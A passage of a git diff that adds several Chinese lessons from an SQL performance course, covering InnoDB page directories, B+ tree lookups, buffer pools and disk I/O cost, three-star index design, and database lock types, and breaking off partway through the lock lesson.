第三部分是索引部分,这部分重点指的是页目录,它起到了记录的索引作用,因为在页中,记录是以单向链表的形式进行存储的。单向链表的特点就是插入、删除非常方便,但是检索效率不高,最差的情况下需要遍历链表上的所有节点才能完成检索,因此在页目录中提供了二分查找的方式,用来提高记录的检索效率。这个过程就好比是给记录创建了一个目录:
|
||||
|
||||
1. 将所有的记录分成几个组,这些记录包括最小记录和最大记录,但不包括标记为“已删除”的记录。
|
||||
1. 第1组,也就是最小记录所在的分组只有1个记录;最后一组,就是最大记录所在的分组,会有1-8条记录;其余的组记录数量在4-8条之间。这样做的好处是,除了第1组(最小记录所在组)以外,其余组的记录数会尽量平分。
|
||||
1. 在每个组中最后一条记录的头信息中会存储该组一共有多少条记录,作为n_owned字段。
|
||||
1. 页目录用来存储每组最后一条记录的地址偏移量,这些地址偏移量会按照先后顺序存储起来,每组的地址偏移量也被称之为槽(slot),每个槽相当于指针指向了不同组的最后一个记录。如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/cc/77/ccfaffc92b9414db3fe68d2ad9df2577.jpg" alt=""><br>
|
||||
页目录存储的是槽,槽相当于分组记录的索引。我们通过槽查找记录,实际上就是在做二分查找。这里我以上面的图示进行举例,5个槽的编号分别为0,1,2,3,4,我想查找主键为9的用户记录,我们初始化查找的槽的下限编号,设置为low=0,然后设置查找的槽的上限编号high=4,然后采用二分查找法进行查找。
|
||||
|
||||
首先找到槽的中间位置p=(low+high)/2=(0+4)/2=2,这时我们取编号为2的槽对应的分组记录中最大的记录,取出关键字为8。因为9大于8,所以应该会在槽编号为(p,high]的范围进行查找
|
||||
|
||||
接着重新计算中间位置p’=(p+high)/2=(2+4)/2=3,我们查找编号为3的槽对应的分组记录中最大的记录,取出关键字为12。因为9小于12,所以应该在槽3中进行查找。
|
||||
|
||||
遍历槽3中的所有记录,找到关键字为9的记录,取出该条记录的信息即为我们想要查找的内容。
|
||||
|
||||
## 从数据页的角度看B+树是如何进行查询的
|
||||
|
||||
MySQL的InnoDB存储引擎采用B+树作为索引,而索引又可以分成聚集索引和非聚集索引(二级索引),这些索引都相当于一棵B+树,如图所示。一棵B+树按照节点类型可以分成两部分:
|
||||
|
||||
1. 叶子节点,B+树最底层的节点,节点的高度为0,存储行记录。
|
||||
1. 非叶子节点,节点的高度大于0,存储索引键和页面指针,并不存储行记录本身。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a8/3f/a83a47f8f6a341835fa08d33ff18093f.jpg" alt=""><br>
|
||||
我们刚才学习了页结构的内容,你可以用**页结构对比,看下B+树的结构**。
|
||||
|
||||
在一棵B+树中,每个节点都是一个页,每次新建节点的时候,就会申请一个页空间。同一层上的节点之间,通过页的结构构成一个双向的链表(页文件头中的两个指针字段)。非叶子节点,包括了多个索引行,每个索引行里存储索引键和指向下一层页面的页面指针。最后是叶子节点,它存储了关键字和行记录,在节点内部(也就是页结构的内部)记录之间是一个单向的链表,但是对记录进行查找,则可以通过页目录采用二分查找的方式来进行。
|
||||
|
||||
当我们从页结构来理解B+树的结构的时候,可以帮我们理解一些通过索引进行检索的原理:
|
||||
|
||||
**1.B+树是如何进行记录检索的?**
|
||||
|
||||
如果通过B+树的索引查询行记录,首先是从B+树的根开始,逐层检索,直到找到叶子节点,也就是找到对应的数据页为止,将数据页加载到内存中,页目录中的槽(slot)采用二分查找的方式先找到一个粗略的记录分组,然后再在分组中通过链表遍历的方式查找记录。
|
||||
|
||||
**2.普通索引和唯一索引在查询效率上有什么不同?**
|
||||
|
||||
我们创建索引的时候可以是普通索引,也可以是唯一索引,那么这两个索引在查询效率上有什么不同呢?
|
||||
|
||||
唯一索引就是在普通索引上增加了约束性,也就是关键字唯一,找到了关键字就停止检索。而普通索引,可能会存在用户记录中的关键字相同的情况,根据页结构的原理,当我们读取一条记录的时候,不是单独将这条记录从磁盘中读出去,而是将这个记录所在的页加载到内存中进行读取。InnoDB存储引擎的页大小为16KB,在一个页中可能存储着上千个记录,因此在普通索引的字段上进行查找也就是在内存中多几次“判断下一条记录”的操作,对于CPU来说,这些操作所消耗的时间是可以忽略不计的。所以对一个索引字段进行检索,采用普通索引还是唯一索引在检索效率上基本上没有差别。
|
||||
|
||||
## 总结
|
||||
|
||||
今天我们学习了数据库中的基本存储单位,也就是页(Page),磁盘I/O都是基于页来进行读取的,在页之上还有区、段和表空间,它们都是更大的存储单位。我们在分配空间的时候会按照页为单位来进行分配,同一棵树上同一层的页与页之间采用双向链表,而在页里面,记录之间采用的单向链表的方式。
|
||||
|
||||
链表这种数据结构的特点是增加、删除比较方便,所以在对记录进行删除的时候,有时候并不是真的删除了记录,而只是逻辑上的删除,也就是在标记为上标记为“已删除”。但链表还有个问题就是查找效率低,因此在页结构中还专门设计了页目录这个模块,专门给记录做一个目录,通过二分查找法的方式进行检索提升效率。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c1/74/c127149aad62be7a1ee2c366757a2e74.jpg" alt=""><br>
|
||||
今天的内容到这里就结束了,最后我给你留两道思考题吧。按照聚集索引存储的行记录在物理上连续的,还是逻辑上连续的?另外,通过B+树进行记录的检索流程是怎样的?
|
||||
|
||||
欢迎你在评论区写下你的思考,我会和你一起交流,也欢迎把这篇文章分享给你的朋友或者同事,一起来交流。
|
||||
141
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/28丨从磁盘I|O的角度理解SQL查询的成本.md
Normal file
141
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/28丨从磁盘I|O的角度理解SQL查询的成本.md
Normal file
@@ -0,0 +1,141 @@
|
||||
<audio id="audio" title="28丨从磁盘I/O的角度理解SQL查询的成本" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/16/52/16678aa507d1c3adc521f2fbc451eb52.mp3"></audio>
|
||||
|
||||
在开始今天的内容前,我们先来回忆一下之前的内容。
|
||||
|
||||
数据库存储的基本单位是页,对于一棵B+树的索引来说,是先从根节点找到叶子节点,也就是先查找数据行所在的页,再将页读入到内存中,在内存中对页的记录进行查找,从而得到想要数据。你看,虽然我们想要查找的,只是一行记录,但是对于磁盘I/O来说却需要加载一页的信息,因为页是最小的存储单位。
|
||||
|
||||
那么对于数据库来说,如果我们想要查找多行记录,查询时间是否会成倍地提升呢?其实数据库会采用缓冲池的方式提升页的查找效率。
|
||||
|
||||
为了更好地理解SQL查询效率是怎么一回事,今天我们就来看看磁盘I/O是如何加载数据的。
|
||||
|
||||
这部分的内容主要包括以下几个部分:
|
||||
|
||||
1. 数据库的缓冲池在数据库中起到了怎样的作用?如果我们对缓冲池内的数据进行更新,数据会直接更新到磁盘上吗?
|
||||
1. 对数据页进行加载都有哪些方式呢?
|
||||
1. 如何查看一条SQL语句需要在缓冲池中进行加载的页的数量呢?
|
||||
|
||||
## 数据库缓冲池
|
||||
|
||||
磁盘I/O需要消耗的时间很多,而在内存中进行操作,效率则会高很多,为了能让数据表或者索引中的数据随时被我们所用,DBMS会申请占用内存来作为数据缓冲池,这样做的好处是可以让磁盘活动最小化,从而减少与磁盘直接进行I/O的时间。要知道,这种策略对提升SQL语句的查询性能来说至关重要。如果索引的数据在缓冲池里,那么访问的成本就会降低很多。
|
||||
|
||||
那么缓冲池如何读取数据呢?
|
||||
|
||||
缓冲池管理器会尽量将经常使用的数据保存起来,在数据库进行页面读操作的时候,首先会判断该页面是否在缓冲池中,如果存在就直接读取,如果不存在,就会通过内存或磁盘将页面存放到缓冲池中再进行读取。
|
||||
|
||||
缓存在数据库中的结构和作用如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/05/9b/05e1692282d25768c87bbc31a1479b9b.png" alt=""><br>
|
||||
如果我们执行SQL语句的时候更新了缓存池中的数据,那么这些数据会马上同步到磁盘上吗?
|
||||
|
||||
实际上,当我们对数据库中的记录进行修改的时候,首先会修改缓冲池中页里面的记录信息,然后数据库会以一定的频率刷新到磁盘上。注意并不是每次发生更新操作,都会立刻进行磁盘回写。缓冲池会采用一种叫做checkpoint的机制将数据回写到磁盘上,这样做的好处就是提升了数据库的整体性能。
|
||||
|
||||
比如,当缓冲池不够用时,需要释放掉一些不常用的页,就可以采用强行采用checkpoint的方式,将不常用的脏页回写到磁盘上,然后再从缓冲池中将这些页释放掉。这里脏页(dirty page)指的是缓冲池中被修改过的页,与磁盘上的数据页不一致。
|
||||
|
||||
### 查看缓冲池的大小
|
||||
|
||||
了解完缓冲池的工作原理后,你可能想问,我们如何判断缓冲池的大小?
|
||||
|
||||
如果你使用的是MySQL MyISAM存储引擎,它只缓存索引,不缓存数据,对应的键缓存参数为key_buffer_size,你可以用它进行查看。
|
||||
|
||||
如果你使用的是InnoDB存储引擎,可以通过查看innodb_buffer_pool_size变量来查看缓冲池的大小,命令如下:
|
||||
|
||||
```
|
||||
mysql > show variables like 'innodb_buffer_pool_size'
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/93/16/93b1b8acaf39f46245c6b751200e8316.png" alt=""><br>
|
||||
你能看到此时InnoDB的缓冲池大小只有8388608/1024/1024=8MB,我们可以修改缓冲池大小为128MB,方法如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/78/70/78fd83a2ff4f0a10ed20ec147ffbac70.png" alt=""><br>
|
||||
然后再来看下修改后的缓冲池大小,此时已成功修改成了128MB:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a3/cc/a364961bda6d5c4742460620053ec1cc.png" alt=""><br>
|
||||
在InnoDB存储引擎中,我们可以同时开启多个缓冲池,这里我们看下如何查看缓冲池的个数,使用命令:
|
||||
|
||||
```
|
||||
mysql > show variables like 'innodb_buffer_pool_instances'
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d1/27/d1f7896087c58bfef202f9a21e96ed27.png" alt="">
|
||||
|
||||
你能看到当前只有一个缓冲池。实际上`innodb_buffer_pool_instances`默认情况下为8,为什么只显示只有一个呢?这里需要说明的是,如果想要开启多个缓冲池,你首先需要将`innodb_buffer_pool_size`参数设置为大于等于1GB,这时`innodb_buffer_pool_instances`才会大于1。你可以在MySQL的配置文件中对`innodb_buffer_pool_size`进行设置,大于等于1GB,然后再针对`innodb_buffer_pool_instances`参数进行修改。
|
||||
|
||||
### 数据页加载的三种方式
|
||||
|
||||
我们刚才已经对缓冲池有了基本的了解。
|
||||
|
||||
如果缓冲池中没有该页数据,那么缓冲池有以下三种读取数据的方式,每种方式的读取效率都是不同的:
|
||||
|
||||
**1. 内存读取**
|
||||
|
||||
如果该数据存在于内存中,基本上执行时间在1ms左右,效率还是很高的。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a5/4f/a5d16af8d34ebdcfe327ef7b4841ad4f.png" alt=""><br>
|
||||
**2. 随机读取**
|
||||
|
||||
如果数据没有在内存中,就需要在磁盘上对该页进行查找,整体时间预估在10ms左右,这10ms中有6ms是磁盘的实际繁忙时间(包括了寻道和半圈旋转时间),有3ms是对可能发生的排队时间的估计值,另外还有1ms的传输时间,将页从磁盘服务器缓冲区传输到数据库缓冲区中。这10ms看起来很快,但实际上对于数据库来说消耗的时间已经非常长了,因为这还只是一个页的读取时间。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/50/49/50fb2657341103548a76fce6f7769149.png" alt=""><br>
|
||||
**3. 顺序读取**
|
||||
|
||||
顺序读取其实是一种批量读取的方式,因为我们请求的数据在磁盘上往往都是相邻存储的,顺序读取可以帮我们批量读取页面,这样的话,一次性加载到缓冲池中就不需要再对其他页面单独进行磁盘I/O操作了。如果一个磁盘的吞吐量是40MB/S,那么对于一个16KB大小的页来说,一次可以顺序读取2560(40MB/16KB)个页,相当于一个页的读取时间为0.4ms。采用批量读取的方式,即使是从磁盘上进行读取,效率也比从内存中只单独读取一个页的效率要高。
|
||||
|
||||
## 通过last_query_cost统计SQL语句的查询成本
|
||||
|
||||
我们先前已经讲过,一条SQL查询语句在执行前需要确定查询计划,如果存在多种查询计划的话,MySQL会计算每个查询计划所需要的成本,从中选择成本最小的一个作为最终执行的查询计划。
|
||||
|
||||
如果我们想要查看某条SQL语句的查询成本,可以在执行完这条SQL语句之后,通过查看当前会话中的last_query_cost变量值来得到当前查询的成本。这个查询成本对应的是SQL语句所需要读取的页的数量。
|
||||
|
||||
我以product_comment表为例,如果我们想要查询comment_id=900001的记录,然后看下查询成本,我们可以直接在聚集索引上进行查找:
|
||||
|
||||
```
|
||||
mysql> SELECT comment_id, product_id, comment_text, user_id FROM product_comment WHERE comment_id = 900001;
|
||||
|
||||
```
|
||||
|
||||
运行结果(1条记录,运行时间为0.042s):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/da/fd/da50c6f039b431fbab963be16f16b5fd.png" alt=""><br>
|
||||
然后再看下查询优化器的成本,实际上我们只需要检索一个页即可:
|
||||
|
||||
```
|
||||
mysql> SHOW STATUS LIKE 'last_query_cost';
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/cd/43/cde712f5d9fc42f31310511677811543.png" alt=""><br>
|
||||
如果我们想要查询comment_id在900001到9000100之间的评论记录呢?
|
||||
|
||||
```
|
||||
mysql> SELECT comment_id, product_id, comment_text, user_id FROM product_comment WHERE comment_id BETWEEN 900001 AND 900100;
|
||||
|
||||
```
|
||||
|
||||
运行结果(100条记录,运行时间为0.046s):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/be/a0/be4d6cd476fd0c9898df5f785aa0c0a0.png" alt=""><br>
|
||||
然后再看下查询优化器的成本,这时我们大概需要进行20个页的查询。
|
||||
|
||||
```
|
||||
mysql> SHOW STATUS LIKE 'last_query_cost';
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/62/fe/628138aa22d3244f8d08dc701a1f61fe.png" alt=""><br>
|
||||
你能看到页的数量是刚才的20倍,但是查询的效率并没有明显的变化,实际上这两个SQL查询的时间基本上一样,就是因为采用了顺序读取的方式将页面一次性加载到缓冲池中,然后再进行查找。虽然页数量(last_query_cost)增加了不少,但是通过缓冲池的机制,并没有增加多少查询时间。
|
||||
|
||||
## 总结
|
||||
|
||||
上一节我们了解到了页是数据库存储的最小单位,这一节我们了解了在数据库中是如何加载使用页的。SQL查询是一个动态的过程,从页加载的角度来看,我们可以得到以下两点结论:
|
||||
|
||||
1. 位置决定效率。如果页就在数据库缓冲池中,那么效率是最高的,否则还需要从内存或者磁盘中进行读取,当然针对单个页的读取来说,如果页存在于内存中,会比在磁盘中读取效率高很多。
|
||||
1. 批量决定效率。如果我们从磁盘中对单一页进行随机读,那么效率是很低的(差不多10ms),而采用顺序读取的方式,批量对页进行读取,平均一页的读取效率就会提升很多,甚至要快于单个页面在内存中的随机读取。
|
||||
|
||||
所以说,遇到I/O并不用担心,方法找对了,效率还是很高的。我们首先要考虑数据存放的位置,如果是经常使用的数据就要尽量放到缓冲池中,其次我们可以充分利用磁盘的吞吐能力,一次性批量读取数据,这样单个页的读取效率也就得到了提升。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/f2/77/f254372aac175d6ac571ebe9ec024777.jpg" alt=""><br>
|
||||
最后给你留两道思考题吧。你能解释下相比于单个页面的随机读,为什么顺序读取时平均一个页面的加载效率会提高吗?另外,对于今天学习的缓冲池机制和数据页加载的方式,你有什么心得体会吗?
|
||||
|
||||
欢迎在评论区写下你的答案,如果你觉得这篇文章有帮助,不妨把它分享给你的朋友或者同事吧。
|
||||
111
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/29丨为什么没有理想的索引?.md
Normal file
111
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/29丨为什么没有理想的索引?.md
Normal file
@@ -0,0 +1,111 @@
|
||||
<audio id="audio" title="29丨为什么没有理想的索引?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/03/4c/03af891d7bd9fb1a111fab78aa3deb4c.mp3"></audio>
|
||||
|
||||
我之前讲过页这个结构,表和索引都会存储在页中,不同的DBMS默认的页的大小是不同的,同时我们也了解到DBMS会有缓冲池的机制,在缓冲池里需要有足够多的空间,存储经常被使用到的页,尽可能减少直接的磁盘I/O操作。这种策略对SQL查询的底层执行来说非常重要,可以从物理层面上最大程度提升SQL的查询效率。
|
||||
|
||||
但同时我们还需要关注索引的设计,如果只是针对SQL查询,我们是可以设计出理想的索引的,不过在实际工作中这种理想的索引往往会带来更多的资源消耗。这是为什么呢?今天我们就来对这部分内容进行学习,内容包括以下几个部分:
|
||||
|
||||
1. 什么是索引片?如何计算过滤因子?
|
||||
1. 设计索引的时候,可以遵循哪些原则呢?
|
||||
1. 为什么理想的索引很难在实际工作中应用起来?
|
||||
|
||||
## 索引片和过滤因子
|
||||
|
||||
索引片就是 SQL查询语句在执行中需要扫描的一个索引片段,我们会根据索引片中包含的匹配列的数量不同,将索引分成窄索引(比如包含索引列数为1或2)和宽索引(包含的索引列数大于2)。
|
||||
|
||||
如果索引片越宽,那么需要顺序扫描的索引页就越多;如果索引片越窄,就会减少索引访问的开销。比如在product_comment数据表中,我们将comment_id设置为主键,然后执行下面的SQL查询语句:
|
||||
|
||||
```
|
||||
SELECT comment_id, product_id, comment_text, user_id FROM product_comment WHERE user_id between 100001 and 100100
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/61/e9/6139464adb6a068be03db23fe33ac2e9.jpg" alt=""><br>
|
||||
针对这条SQL查询语句,我们可以设置窄索引(user_id)。需要说明的是,每个非聚集索引保存的数据都会存储主键值,然后通过主键值,来回表查找相应的数据,因此每个索引都相当于包括了主键,也就是`(comment_id, user_id)`。
|
||||
|
||||
同样我们可以设置宽索引`(user_id, product_id, comment_text)`,相当于包括了主键,也就是`(comment_id, user_id, product_id, comment_text)`。
|
||||
|
||||
### 如何通过宽索引避免回表
|
||||
|
||||
刚才我讲到了宽索引需要顺序扫描的索引页很多,不过它也可以避免通过索引找到主键,再通过主键回表进行数据查找的情况。回表指的就是数据库根据索引找到了数据行之后,还需要通过主键再次到数据表中读取数据的情况。
|
||||
|
||||
我们可以用不同索引片来运行下刚才的SQL语句,比如我们采用窄索引(user_id)的方式,来执行下面这条语句:
|
||||
|
||||
```
|
||||
SELECT comment_id, product_id, comment_text, user_id FROM product_comment WHERE user_id between 100001 and 100100
|
||||
|
||||
```
|
||||
|
||||
运行结果(110条记录,运行时间0.062s):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/65/19/65b3b85e33f377c417eb0354d9fd7119.png" alt=""><br>
|
||||
同样,如果我们设置宽索引`(user_id, product_id, comment_text)`,然后执行相同的SQL语句,运行结果相同,运行时间为0.043s,你能看到查询效率有了一些提升。这就是因为我们可以通过宽索引将SELECT中需要用到的列(主键列可以除外)都设置在宽索引中,这样就避免了回表扫描的情况,从而提升SQL查询效率。
|
||||
|
||||
### 什么是过滤因子
|
||||
|
||||
在索引片的设计中,我们还需要考虑一个因素,那就是过滤因子,它描述了谓词的选择性。在WHERE条件语句中,每个条件都称为一个谓词,谓词的选择性也等于满足这个条件列的记录数除以总记录数的比例。
|
||||
|
||||
举个例子,我们在player数据表中,定义了team_id和height字段,我们也可以设计个gender字段,这里gender的取值都为male。
|
||||
|
||||
在player表中记录比较少,一共37条记录,不过我们也可以统计以下字段:gender、team_id、height和name,以便评估过滤因子的筛选能力,如下表所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b0/f1/b01c2d5a77c4d57388b88d93f70298f1.png" alt=""><br>
|
||||
你能看到`gender='male'`不是个好过滤因子,因为所有球员都是男性,同样`team_id=1001`也不是个好过滤因子,因为这个比例在这个特定的数据集中高达54%,相比之下`height=2.08`具有一定的筛选性,过滤因子能力最强的是name字段。
|
||||
|
||||
这时如果我们创建一个联合的过滤条件`(height, team_id)`,那么它的过滤能力是怎样的呢?
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/3d/7c/3dabf8870e8ba8f65ad8c40ca89a287c.png" alt=""><br>
|
||||
联合过滤因子有更高的过滤能力,这里还需要注意一个条件,那就是条件列的关联性应该尽量相互独立,否则如果列与列之间具有相关性,联合过滤因子的能力就会下降很多。比如城市名称和电话区号就有强相关性,这两个列组合到一起不会加强过滤效果。
|
||||
|
||||
你能看到过滤因子决定了索引片的大小(注意这里不是窄索引和宽索引),过滤因子的条件过滤能力越强,满足条件的记录数就越少,SQL查询需要扫描的索引片也就越小。同理,如果我们没有选择好索引片中的过滤因子,就会造成索引片中的记录数过多的情况。
|
||||
|
||||
## 针对SQL查询的理想索引设计:三星索引
|
||||
|
||||
刚才我介绍了宽索引和窄索引,有些时候宽索引可以提升SQL的查询效率,那么你可能会问,如果针对SQL查询来说,有没有一个标准能让SQL查询效率最大化呢?
|
||||
|
||||
实际上,存在着一个三星索引的标准,这就好比我们在学习数据表设计时提到的三范式一样。三星索引具体指的是:
|
||||
|
||||
1. 在WHERE条件语句中,找到所有等值谓词中的条件列,将它们作为索引片中的开始列;
|
||||
1. 将 GROUP BY和ORDER BY中的列加入到索引中;
|
||||
1. 将SELECT字段中剩余的列加入到索引片中。
|
||||
|
||||
你能看到这样操作下来,索引片基本上会变成一个宽索引,把能添加的相关列都加入其中。为什么对于一条SQL查询来说,这样做的效率是最高的吗?
|
||||
|
||||
首先,如果我们要通过索引查找符合条件的记录,就需要将WHERE子句中的等值谓词列加入到索引片中,这样索引的过滤能力越强,最终扫描的数据行就越少。
|
||||
|
||||
另外,如果我们要对数据记录分组或者排序,都需要重新扫描数据记录。为了避免进行file sort排序,可以把GROUP BY和ORDER BY中涉及到的列加入到索引中,因为创建了索引就会按照索引的顺序来存储数据,这样再对这些数据按照某个字段进行分组或者排序的时候,就会提升效率。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/34/c7/340a26c1be1b2c40ab6dff50d521cfc7.png" alt=""><br>
|
||||
最后,我们取数据的时候,可能会存在回表情况。回表就是通过索引找到了数据行,但是还需要通过主键的方式在数据表中查找完成的记录。这是因为SELECT所需的字段并不都保存在索引中,因此我们可以将SELECT中的字段都保存在索引中避免回表的情况,从而提升查询效率。
|
||||
|
||||
## 为什么很难存在理想的索引设计
|
||||
|
||||
从三星索引的创建过程中,你能看到三星索引实际上分析了在SQL查询过程中所有可能影响效率的环节,通过在索引片中添加索引的方式来提升效率。通过上面的原则,我们可以很快创建一个SQL查询语句的三星索引(有时候可能只有两星,比如同时拥有范围谓词和ORDER BY的时候)。
|
||||
|
||||
但就同三范式一样,很多时候我们并没有遵循三范式的设计原则,而是采用了反范式设计。同样,有时候我们并不能需要完全遵循三星索引的原则,原因主要有以下两点:
|
||||
|
||||
1. 采用三星索引会让索引片变宽,这样每个页能够存储的索引数据就会变少,从而增加了页加载的数量。从另一个角度来看,如果数据量很大,比如有1000万行数据,过多索引所需要的磁盘空间可能会成为一个问题,对缓冲池所需空间的压力也会增加。
|
||||
1. 增加了索引维护的成本。如果我们为所有的查询语句都设计理想的三星索引,就会让数据表中的索引个数过多,这样索引维护的成本也会增加。举个例子,当我们添加一条记录的时候,就需要在每一个索引上都添加相应的行(存储对应的主键值),假设添加一行记录的时间成本是10ms(磁盘随机读取一个页的时间),那么如果我们创建了10个索引,添加一条记录的时间就可能变成0.1s,如果是添加10条记录呢?就会花费近1s的时间。从索引维护的成本来看消耗还是很高的。当然对于数据库来说,数据的更新不一定马上回写到磁盘上,但即使不及时将脏页进行回写,也会造成缓冲池中的空间占用过多,脏页过多的情况。
|
||||
|
||||
## 总结
|
||||
|
||||
你能看到针对一条SQL查询来说,三星索引是个理想的方式,但实际运行起来我们要考虑更多维护的成本,在索引效率和索引维护之间进行权衡。
|
||||
|
||||
三星索引会让索引变宽,好处就是不需要进行回表查询,减少了磁盘I/O的次数,弊端就是会造成频繁的页分裂和页合并,对于数据的插入和更新来说,效率会降低不少。
|
||||
|
||||
那我们该如何设计索引呢?
|
||||
|
||||
首先一张表的索引个数不宜过多,否则一条记录的增加和修改,会因为过多的索引造成额外的负担。针对这个情况,当你需要新建索引的时候,首先考虑在原有的索引片上增加索引,也就是采用复合索引的方式,而不是新建一个新的索引。另外我们可以定期检查索引的使用情况,对于很少使用到的索引可以及时删除,从而减少索引数量。
|
||||
|
||||
同时,在索引片中,我们也需要控制索引列的数量,通常情况下我们将WHERE里的条件列添加到索引中,而SELECT中的非条件列则不需要添加。除非SELECT中的非条件列数少,并且该字段会经常使用到。
|
||||
|
||||
另外单列索引和复合索引的长度也需要控制,在MySQL InnoDB中,系统默认单个索引长度最大为767 bytes,如果单列索引长度超过了这个限制,就会取前缀索引,也就是取前 255 字符。这实际上也是告诉我们,字符列会占用较大的空间,在数据表设计的时候,尽量采用数值类型替代字符类型,尽量避免用字符类型做主键,同时针对字符字段最好只建前缀索引。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/f4/f4/f417b01c6e4d560b2cbe3c54c6e9dbf4.jpg" alt=""><br>
|
||||
给你留一道思考题吧,针对下面的SQL语句,如果创建三星索引该如何创建?使用三星索引和不使用三星索引在查询效率上又有什么区别呢?
|
||||
|
||||
```
|
||||
SELECT comment_id, comment_text, user_id FROM product_comment where user_id BETWEEN 100000 AND 200000
|
||||
|
||||
```
|
||||
|
||||
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事,一起来交流。
|
||||
175
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/30丨锁:悲观锁和乐观锁是什么?.md
Normal file
175
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/30丨锁:悲观锁和乐观锁是什么?.md
Normal file
@@ -0,0 +1,175 @@
|
||||
<audio id="audio" title="30丨锁:悲观锁和乐观锁是什么?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/91/e9/916edcd61be50916e937c486a09007e9.mp3"></audio>
|
||||
|
||||
索引和锁是数据库中的两个核心知识点,不论在工作中,还是在面试中,我们都会经常跟它们打交道。之前我们已经从不同维度对索引进行了了解,比如B+树、Hash索引、页结构、缓冲池和索引原则等,了解它们的工作原理可以加深我们对索引的理解。同时在基础篇的部分中,我也讲解了事务的4大原则以及不同的隔离级别。这些隔离级别的实现都是通过锁来完成的,你可以思考下为什么我们需要给数据加锁呢?
|
||||
|
||||
实际上加锁是为了保证数据的一致性,这个思想在程序开发领域中同样很重要。在程序开发中也会存在多线程同步的问题。当多个线程并发访问某个数据的时候,尤其是针对一些敏感的数据(比如订单、金额等),我们就需要保证这个数据在任何时刻最多只有一个线程在进行访问,保证数据的完整性和一致性。
|
||||
|
||||
今天的内容主要包括以下几个方面:
|
||||
|
||||
1. 就分类而言,锁的划分有多种方式,这些划分方式都包括哪些?
|
||||
1. 为什么共享锁会发生死锁?
|
||||
1. 乐观锁和悲观锁的思想是什么?乐观锁有两种实现方式,这两种实现方式是什么?
|
||||
1. 多个事务并发,发生死锁时该如何解决?怎样降低死锁发生的概率?
|
||||
|
||||
## 按照锁粒度进行划分
|
||||
|
||||
锁用来对数据进行锁定,我们可以从锁定对象的粒度大小来对锁进行划分,分别为行锁、页锁和表锁。
|
||||
|
||||
顾名思义,行锁就是按照行的粒度对数据进行锁定。锁定力度小,发生锁冲突概率低,可以实现的并发度高,但是对于锁的开销比较大,加锁会比较慢,容易出现死锁情况。
|
||||
|
||||
页锁就是在页的粒度上进行锁定,锁定的数据资源比行锁要多,因为一个页中可以有多个行记录。当我们使用页锁的时候,会出现数据浪费的现象,但这样的浪费最多也就是一个页上的数据行。页锁的开销介于表锁和行锁之间,会出现死锁。锁定粒度介于表锁和行锁之间,并发度一般。
|
||||
|
||||
表锁就是对数据表进行锁定,锁定粒度很大,同时发生锁冲突的概率也会较高,数据访问的并发度低。不过好处在于对锁的使用开销小,加锁会很快。
|
||||
|
||||
行锁、页锁和表锁是相对常见的三种锁,除此以外我们还可以在区和数据库的粒度上锁定数据,对应区锁和数据库锁。不同的数据库和存储引擎支持的锁粒度不同,InnoDB和Oracle支持行锁和表锁。而MyISAM只支持表锁,MySQL中的BDB存储引擎支持页锁和表锁。SQL Server可以同时支持行锁、页锁和表锁,如下表所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ca/b2/ca5598e46ab7ec59c3d3721e337a1ab2.png" alt=""><br>
|
||||
这里需要说明下,每个层级的锁数量是有限制的,因为锁会占用内存空间,锁空间的大小是有限的。当某个层级的锁数量超过了这个层级的阈值时,就会进行锁升级。锁升级就是用更大粒度的锁替代多个更小粒度的锁,比如InnoDB中行锁升级为表锁,这样做的好处是占用的锁空间降低了,但同时数据的并发度也下降了。
|
||||
|
||||
## 从数据库管理的角度对锁进行划分
|
||||
|
||||
除了按照锁粒度大小对锁进行划分外,我们还可以从数据库管理的角度对锁进行划分。共享锁和排它锁,是我们经常会接触到的两把锁。
|
||||
|
||||
共享锁也叫读锁或S锁,共享锁锁定的资源可以被其他用户读取,但不能修改。在进行`SELECT`的时候,会将对象进行共享锁锁定,当数据读取完毕之后,就会释放共享锁,这样就可以保证数据在读取时不被修改。
|
||||
|
||||
比如我们想给product_comment在表上加共享锁,可以使用下面这行命令:
|
||||
|
||||
```
|
||||
LOCK TABLE product_comment READ;
|
||||
|
||||
```
|
||||
|
||||
当对数据表加上共享锁的时候,该数据表就变成了只读模式,此时我们想要更新product_comment表中的数据,比如下面这样:
|
||||
|
||||
```
|
||||
UPDATE product_comment SET product_id = 10002 WHERE user_id = 912178;
|
||||
|
||||
```
|
||||
|
||||
系统会做出如下提示:
|
||||
|
||||
```
|
||||
ERROR 1099 (HY000): Table 'product_comment' was locked with a READ lock and can't be updated
|
||||
|
||||
```
|
||||
|
||||
也就是当共享锁没有释放时,不能对锁住的数据进行修改。
|
||||
|
||||
